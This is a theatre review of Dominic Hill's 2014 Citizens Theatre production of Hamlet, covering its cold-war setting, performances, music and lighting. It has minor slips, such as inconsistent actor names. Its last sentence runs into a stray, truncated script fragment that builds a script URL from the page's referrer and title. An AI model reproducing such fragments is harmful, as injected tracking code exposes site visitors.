Review: Hamlet

By Émer O’Toole, News Editor

Dominic Hill has gained a reputation for giving classic texts a fresh perspective and his latest production, Hamlet, which headlined the Citizens Theatre Autumn 2014 season, was no different.

Returning home from university, Hamlet is devastated when he realises that his father’s funeral wake has swiftly resulted in a celebration of his mother’s remarriage to her brother-in-law. This results in a savage and enthralling tragedy of a family’s destruction at the hands of suspicion, murder, infidelity and grief.

Brian Ferguson plays a bespectacled, nervous-looking Hamlet who opens the seminal role by literally hiding under the table, distressed and terrified of his father’s ghost. His grief eventually becomes measured, psychopathic revenge against his deceitful mother and controlling uncle. Interestingly, Ferguson also brings a number of lighter elements to the titular role. There are moments of strange adolescent exuberance as Hamlet lounges around in his underwear, munching cereal and abandoning personal hygiene.

Set in the cold-war era of the 1960s/early 1970s, Hill exposes Shakespeare’s play as more of a dysfunctional family drama- setting many of its scenes in an improvised palace living room. Hill spoke of how “Hamlet’s grief, loss of trust, the complexity of his family relationships and how he negotiates the abrupt changes to his world around him are challenges that contemporary audiences can relate to.” From Hamlet’s desire to avenge his uncle to Polonius’ (Cliff Burnett) horribly violent tyranny over Ophelia (Meghan Taylor), this updated version of the original tragedy is no longer a tale of a renaissance avenger and the fate of his country, but an exploration of abusive relationships and love and hatred.

Playing on Tom Piper’s eerie, stripped-back set (which resembles an abandoned warehouse), the characters inhibit a precarious world in which everyone-not just Hamlet and Ophelia- balances on the edge of psychological despair. Roberta Taylor, for instance, takes on the role of Gertrude, a passive-aggressive alcoholic. Joining her on stage is her real-life husband, Peter Guinness as the menacing Claudius. Meghan Tyler’s damaged Ophelia excels in the second half with her descent into madness being the emotional heart of the performance as she reclines in a bath, calmly blowing bubbles and reaching out to touch them. Differing from the original production, she hands out alcohol as opposed to flowers and later watches people dig her own grave with amusement.

Collaborating with Nikola Kodjabashia, Hill uses live music at moments of tension. There are rock-esque musical interludes as the cast pick up guitars, percussion, violin and keyboards (which are dotted around the set) and manipulate pre-recorded tapes. Ben Ormerod’s lighting design is innovative and artistic- sudden light or darkness mark scene changes (since there are no curtains on the open-plan stage) and move the play along at an increasing pace.

The production’s enormous success probably stems from the fact that it is so accessible. In a recent interview, Taylor spoke of how “Shakespeare can be an everyday story and nothing to be afraid of.” In doing this, it still manages to cleverly avoid the potential Shakespearean fault of losing the timeless beauty of the language in favour of complicated staging.

With its eerie, sinister aesthetic and its unnerving sense of brutality, Hill’s Hamlet respects the original script but simultaneously gives new insights- reinforcing Hill’s reputation as a bold and imaginative director.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;